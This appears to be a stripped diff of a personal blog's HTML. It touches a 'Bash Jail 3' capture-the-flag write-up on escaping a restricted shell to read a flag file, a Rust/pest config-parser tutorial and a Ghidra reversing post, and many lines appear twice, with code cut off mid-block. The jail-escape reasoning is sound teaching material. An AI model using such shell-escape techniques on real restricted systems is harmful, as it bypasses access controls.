which means we cannot exfiltrate the flag from stderr since it is blocked.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 24, 2022 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Bash Jail 3</h1></hgroup><section class=post-content data-pagefind-body><h1 id=the-challenge>The challenge</h1><p>Logging into the box we are told that the flag is located at <code>/home/level3/flag.txt</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#66d9ef>function</span> check_space <span style=color:#f92672>{</span>
which means we cannot exfiltrate the flag from stderr since it is blocked.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 24, 2022 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Bash Jail 3</h1></hgroup><section class=post-content data-pagefind-body><h1 id=the-challenge>The challenge</h1><p>Logging into the box we are told that the flag is located at <code>/home/level3/flag.txt</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span><span style=color:#66d9ef>function</span> check_space <span style=color:#f92672>{</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> <span style=color:#f92672>[[</span> $1 <span style=color:#f92672>==</span> *<span style=color:#f92672>[</span>bdksc<span style=color:#f92672>]</span>* <span style=color:#f92672>]]</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>then</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#ae81ff>0</span>
@@ -47,7 +47,7 @@ which means we cannot exfiltrate the flag from stderr since it is blocked.'><met
which means we cannot exfiltrate the flag from <code>stderr</code> since it is blocked.</p><h1 id=inference>Inference</h1><p>This time, the <code>check_space</code> function returns a <code>1</code> if there are any characters in the input
string among <code>b</code>,<code>d</code>,<code>k</code>,<code>s</code> and <code>c</code>. If the function returns 1, we get a &ldquo;restricted characters&rdquo;
message and no further processing happens.</p><p>Once our input passess through the <code>check_space</code> function, it is passed in a command
substitution with the <code>stdout</code> and <code>stderr</code> being redirected yet again to <code>/dev/null</code></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-bash data-lang=bash><span style=display:flex><span>output<span style=color:#f92672>=</span><span style=color:#e6db74>`</span>$input<span style=color:#e6db74>`</span> &amp;&gt;/dev/null
substitution with the <code>stdout</code> and <code>stderr</code> being redirected yet again to <code>/dev/null</code></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-bash data-lang=bash><span style=display:flex><span>output<span style=color:#f92672>=</span><span style=color:#e6db74>`</span>$input<span style=color:#e6db74>`</span> &amp;&gt;/dev/null
</span></span></code></pre></div><p>If we cannot read the flag through <code>stderr</code> (file descriptor 2) or through <code>stdout</code> (file descriptor 1),
we can resort to redirecting the output to <code>stdin</code> (file descriptor 0).</p><h1 id=solution>Solution</h1><p>We can pass a command that reads and displays the contents of <code>flag.txt</code> in an <code>eval</code> statement and
redirect the output to <code>stdin</code>. However, we need a command that does not have the restricted

View File

@@ -15,11 +15,11 @@ elementary expressions to the penultimate levels of abstraction for macroscopic
expressions.</p><p>Let&rsquo;s begin today&rsquo;s conversation by finishing off where we left off. For us to
be able to parse an entire config file, we must have one main rule. We combine
all of the primitives that we have built so far: comments, modes, bindings,
unbinds and imports into a blanket content expression.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-ebnf data-lang=ebnf><span style=display:flex><span><span style=color:#66d9ef>content </span><span style=color:#f92672>=</span> <span style=color:#960050;background-color:#1e0010>_</span>{ <span style=color:#66d9ef>comment </span>| <span style=color:#66d9ef>mode </span>| <span style=color:#66d9ef>unbind </span>| <span style=color:#66d9ef>binding </span>| <span style=color:#66d9ef>import </span>| <span style=color:#66d9ef>NEWLINE </span>}
unbinds and imports into a blanket content expression.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-ebnf data-lang=ebnf><span style=display:flex><span><span style=color:#66d9ef>content </span><span style=color:#f92672>=</span> <span style=color:#960050;background-color:#1e0010>_</span>{ <span style=color:#66d9ef>comment </span>| <span style=color:#66d9ef>mode </span>| <span style=color:#66d9ef>unbind </span>| <span style=color:#66d9ef>binding </span>| <span style=color:#66d9ef>import </span>| <span style=color:#66d9ef>NEWLINE </span>}
</span></span></code></pre></div><p>Obviously, a configuration file in the wild might very well have more than
one of the aforementioned primitives. Thus, to top it all off, we build a
final <code>main</code> expression that we subsequently use in the code side to match the
contents of a file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-ebnf data-lang=ebnf><span style=display:flex><span><span style=color:#66d9ef>main </span><span style=color:#f92672>=</span> {
contents of a file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-ebnf data-lang=ebnf><span style=display:flex><span><span style=color:#66d9ef>main </span><span style=color:#f92672>=</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>SOI </span><span style=color:#960050;background-color:#1e0010>~</span> <span style=color:#66d9ef>content</span><span style=color:#960050;background-color:#1e0010>*</span> <span style=color:#960050;background-color:#1e0010>~</span> <span style=color:#66d9ef>EOI</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The expression starts with a <code>SOI</code> or a <em>start of identifier</em> which is a fancy
@@ -33,25 +33,25 @@ and while offloading the errors to an already available type might sound like le
it often meant that the grammar related errors had to be unwraps, panics, asserts or in
the worst case, just unrelated to <code>io::Result</code> itself.</p><p>Tell me, how does a missing identifier error make sense as an <code>io::Error</code>? It doesn&rsquo;t,
that&rsquo;s why we are using the standard <code>Result</code> type with the error generic type to be
our custom error type.</p><p>Thus, the tests we&rsquo;re writing have the general signature like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>#[test]</span>
our custom error type.</p><p>Thus, the tests we&rsquo;re writing have the general signature like so:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>#[test]</span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>test_multiple_keybinds</span>() -&gt; Result<span style=color:#f92672>&lt;</span>(), ParseError<span style=color:#f92672>&gt;</span> { <span style=color:#75715e>/* ... */</span> }
</span></span></code></pre></div><p>A significant portion of these tests involved asserting that keybinds in the
config files matched their internal representations. We do this by defining
a known representation (starting off with a close enough guess) and asserting
whether it matches what has been parsed.</p><p>Consider the <code>test_command_with_many_spaces</code> test: we define the raw contents
and let the parser ingest it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> contents <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;
and let the parser ingest it.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> contents <span style=color:#f92672>=</span> <span style=color:#e6db74>&#34;
</span></span></span><span style=display:flex><span><span style=color:#e6db74>p
</span></span></span><span style=display:flex><span><span style=color:#e6db74> xbacklight -inc 10 -fps 30 -time 200
</span></span></span><span style=display:flex><span><span style=color:#e6db74> &#34;</span>;
</span></span><span style=display:flex><span><span style=color:#66d9ef>let</span> parsed <span style=color:#f92672>=</span> SwhkdParser::from(<span style=color:#f92672>&amp;</span>contents)<span style=color:#f92672>?</span>;
</span></span></code></pre></div><p>Following this, we define what we know is going to be the internal representation.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> known <span style=color:#f92672>=</span> <span style=color:#a6e22e>vec!</span>[Binding {
</span></span></code></pre></div><p>Following this, we define what we know is going to be the internal representation.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> known <span style=color:#f92672>=</span> <span style=color:#a6e22e>vec!</span>[Binding {
</span></span><span style=display:flex><span> definition: <span style=color:#a6e22e>Definition</span> {
</span></span><span style=display:flex><span> modifiers: <span style=color:#a6e22e>vec</span><span style=color:#f92672>!</span>[],
</span></span><span style=display:flex><span> key: <span style=color:#a6e22e>Key</span>::new(<span style=color:#e6db74>&#34;p&#34;</span>, KeyAttribute::None),
</span></span><span style=display:flex><span> },
</span></span><span style=display:flex><span> command: String::from(<span style=color:#e6db74>&#34;xbacklight -inc 10 -fps 30 -time 200&#34;</span>),
</span></span><span style=display:flex><span>}];
</span></span></code></pre></div><p>Finally, we assert whether these two bindings actually match.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#a6e22e>assert_eq!</span>(parsed.bindings, known);
</span></span></code></pre></div><p>Finally, we assert whether these two bindings actually match.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#a6e22e>assert_eq!</span>(parsed.bindings, known);
</span></span></code></pre></div><p>Furthermore, some error tests became trivially easy thanks to the pest crate&rsquo;s
ability to generate meaningful errors. All we had to do was assert whether a
given result was an error or not, which greatly simplified the testing process.</p><p>Consider the following test where we simply use the <code>is_err</code> method to check for errors.</p><pre tabindex=0><code>#[test]
@@ -71,7 +71,7 @@ numbers to be extra precise.</p><p>While porting the tests, I also came across a
would be ignored. Turns out that a multi cartesian product of a vector of vectors
(all the modifier variant groups) works fine with a vector of keys except when all
modifier groups are empty. In such a case, the multi cartesian product has no output.</p><p>Mathematically, the cartesian product of {phi, phi, &mldr;, phi} is phi but the cartesian product of
{} yields no value at all. Thus, we had to create a small check as a fix before blinding computing the cartesian products.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>compile</span>(self) -&gt; Vec<span style=color:#f92672>&lt;</span>Definition<span style=color:#f92672>&gt;</span> {
{} yields no value at all. Thus, we had to create a small check as a fix before blinding computing the cartesian products.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>compile</span>(self) -&gt; Vec<span style=color:#f92672>&lt;</span>Definition<span style=color:#f92672>&gt;</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> self.modifiers.is_empty() {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> self
</span></span><span style=display:flex><span> .keys

View File

@@ -24,13 +24,13 @@ the binding declarations <code>super + ~a</code> and <code>super + {@a, ~b}</cod
The answer is similar to what we did for commas and dashes in shorthand contexts, we need
to escape the keys. The only difference this time is that the keys are escaped both inside
and outside shorthand contexts. In retrospective, the plus sign that has been serving as
the concatenator also needs to be escaped for literal representation.</p><p>To fix this, let&rsquo;s declare a convenience expression called <code>keys_always_escaped</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>keys_always_escaped <span style=color:#f92672>=</span> _{ <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>~&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>@&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>+&#34;</span> }
the concatenator also needs to be escaped for literal representation.</p><p>To fix this, let&rsquo;s declare a convenience expression called <code>keys_always_escaped</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>keys_always_escaped <span style=color:#f92672>=</span> _{ <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>~&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>@&#34;</span> <span style=color:#f92672>|</span> <span style=color:#e6db74>&#34;</span><span style=color:#ae81ff>\\</span><span style=color:#e6db74>+&#34;</span> }
</span></span></code></pre></div><p>This is how we will allow the user to literally mention a tilde or a plus.</p><p>Next, we modify the expression for a regular <code>key</code> to include these escaped literals besides the regular
ASCII alphanumeric characters.</p><p>We change the expression from</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>key <span style=color:#f92672>=</span> { <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;enter&#34;</span> <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;return&#34;</span> <span style=color:#f92672>|</span> ASCII_ALPHANUMERIC }
</span></span></code></pre></div><p>to the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>key <span style=color:#f92672>=</span> { keys_always_escaped <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;enter&#34;</span> <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;return&#34;</span> <span style=color:#f92672>|</span> ASCII_ALPHANUMERIC }
ASCII alphanumeric characters.</p><p>We change the expression from</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>key <span style=color:#f92672>=</span> { <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;enter&#34;</span> <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;return&#34;</span> <span style=color:#f92672>|</span> ASCII_ALPHANUMERIC }
</span></span></code></pre></div><p>to the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>key <span style=color:#f92672>=</span> { keys_always_escaped <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;enter&#34;</span> <span style=color:#f92672>|</span> <span style=color:#f92672>^</span><span style=color:#e6db74>&#34;return&#34;</span> <span style=color:#f92672>|</span> ASCII_ALPHANUMERIC }
</span></span></code></pre></div><p>Don&rsquo;t worry, we will add other symbols like semicolons, parentheses and the like to this expression
but we are starting off being a bit restrictive so that we can catch errors early.</p><p>We have to compensate for this change for the code side as well. This is the first time you&rsquo;ll see
real code from the project besides the formal grammar.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>#[derive(Debug, Clone)]</span>
real code from the project besides the formal grammar.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#75715e>#[derive(Debug, Clone)]</span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>struct</span> <span style=color:#a6e22e>Key</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>pub</span> key: String,
</span></span><span style=display:flex><span> <span style=color:#66d9ef>pub</span> attribute: <span style=color:#a6e22e>KeyAttribute</span>,
@@ -42,7 +42,7 @@ fairly inexpensive to copy. Although a boolean value should ideally be represent
by a single bit, most modern processor architectures use a single byte to represent them.
Bitflags can help us shave off the unused space.
We are using macros fromthe bitflag crate since Rust
does not natively have C-styled bitflags.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span>bitflags::<span style=color:#a6e22e>bitflags!</span> {
does not natively have C-styled bitflags.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span>bitflags::<span style=color:#a6e22e>bitflags!</span> {
</span></span><span style=display:flex><span> <span style=color:#75715e>#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)]</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>struct</span> <span style=color:#a6e22e>KeyAttribute</span>: <span style=color:#66d9ef>u8</span> {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>const</span> None <span style=color:#f92672>=</span> <span style=color:#ae81ff>0b00000000</span>;
@@ -55,7 +55,7 @@ does not natively have C-styled bitflags.</p><div class=highlight><pre tabindex=
<code>Send</code> is represented as a <code>1</code>, <code>OnRelease</code> as <code>2</code>, etc. Since all we care about
is whether an attribute is there or not, we can use a single bit as a bin for
each attribute. Any time we see one of the variants, we bitwise or the current
attribute set to flip the respective bit on.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>match</span> inner.as_rule() {
attribute set to flip the respective bit on.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>match</span> inner.as_rule() {
</span></span><span style=display:flex><span> Rule::send <span style=color:#f92672>=&gt;</span> attribute <span style=color:#f92672>|=</span> KeyAttribute::Send,
</span></span><span style=display:flex><span> Rule::on_release <span style=color:#f92672>=&gt;</span> attribute <span style=color:#f92672>|=</span> KeyAttribute::OnRelease,
</span></span><span style=display:flex><span> Rule::key <span style=color:#f92672>=&gt;</span> key <span style=color:#f92672>=</span> pair_to_string(inner),

View File

@@ -7,7 +7,7 @@ We start off with downloading the binary and opening it in Ghidra.
In the list of functions under the Symbol Tree, we can navigate to the entry function which looks like:'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jul 21, 2023 | 13 minutes read</time></p><h1 data-pagefind-meta=title>Volcano</h1></hgroup><section class=post-content data-pagefind-body><p>This reversing challenge is very mathematical, focusing mainly on modulo congruences.
Like all challenges, there is some scary looking obfuscation for the fun which I&rsquo;ll try my best to
explain. The challenge description says that it was <em>inspired by recent &ldquo;traumatic&rdquo; events</em> but I&rsquo;m oblivious to what that
reference meant.</p><h2 id=decompilation>Decompilation</h2><p>We start off with downloading the binary and opening it in Ghidra.</p><p>In the list of functions under the Symbol Tree, we can navigate to the <code>entry</code> function which looks like:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>void</span> processEntry <span style=color:#a6e22e>entry</span>(undefined8 param_1,undefined8 param_2)
reference meant.</p><h2 id=decompilation>Decompilation</h2><p>We start off with downloading the binary and opening it in Ghidra.</p><p>In the list of functions under the Symbol Tree, we can navigate to the <code>entry</code> function which looks like:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>void</span> processEntry <span style=color:#a6e22e>entry</span>(undefined8 param_1,undefined8 param_2)
</span></span><span style=display:flex><span>{
</span></span><span style=display:flex><span> undefined auStack_8 [<span style=color:#ae81ff>8</span>];
</span></span><span style=display:flex><span>
@@ -16,9 +16,9 @@ reference meant.</p><h2 id=decompilation>Decompilation</h2><p>We start off with
</span></span><span style=display:flex><span> <span style=color:#75715e>/* WARNING: Do nothing block with infinite loop */</span>
</span></span><span style=display:flex><span> } <span style=color:#66d9ef>while</span>( true );
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Notice the call to <code>__libc_start_main</code>, the first argument supplied is a function pointer which points to the main function.</p><p>I have a habit of renaming variables in Ghidra so that they make some sense. I will rename this function to <code>main</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>__libc_start_main</span>(main,param_2,<span style=color:#f92672>&amp;</span>stack0x00000008,FUN_00101760,FUN_001017d0,param_1,auStack_8);
</span></span></code></pre></div><p>Notice the call to <code>__libc_start_main</code>, the first argument supplied is a function pointer which points to the main function.</p><p>I have a habit of renaming variables in Ghidra so that they make some sense. I will rename this function to <code>main</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>__libc_start_main</span>(main,param_2,<span style=color:#f92672>&amp;</span>stack0x00000008,FUN_00101760,FUN_001017d0,param_1,auStack_8);
</span></span></code></pre></div><h3 id=main><code>main</code></h3><p>If we double click on the newly renamed <code>main</code> function, we will see a function that has a massive cyclomatic complexity in the decompiler view.
I will try to make this more sensible by selecting the generated identifiers, then renaming (pressing <code>L</code>) and retyping (<code>Ctrl</code> <code>L</code>).</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>int</span> <span style=color:#a6e22e>main</span>(<span style=color:#66d9ef>void</span>)
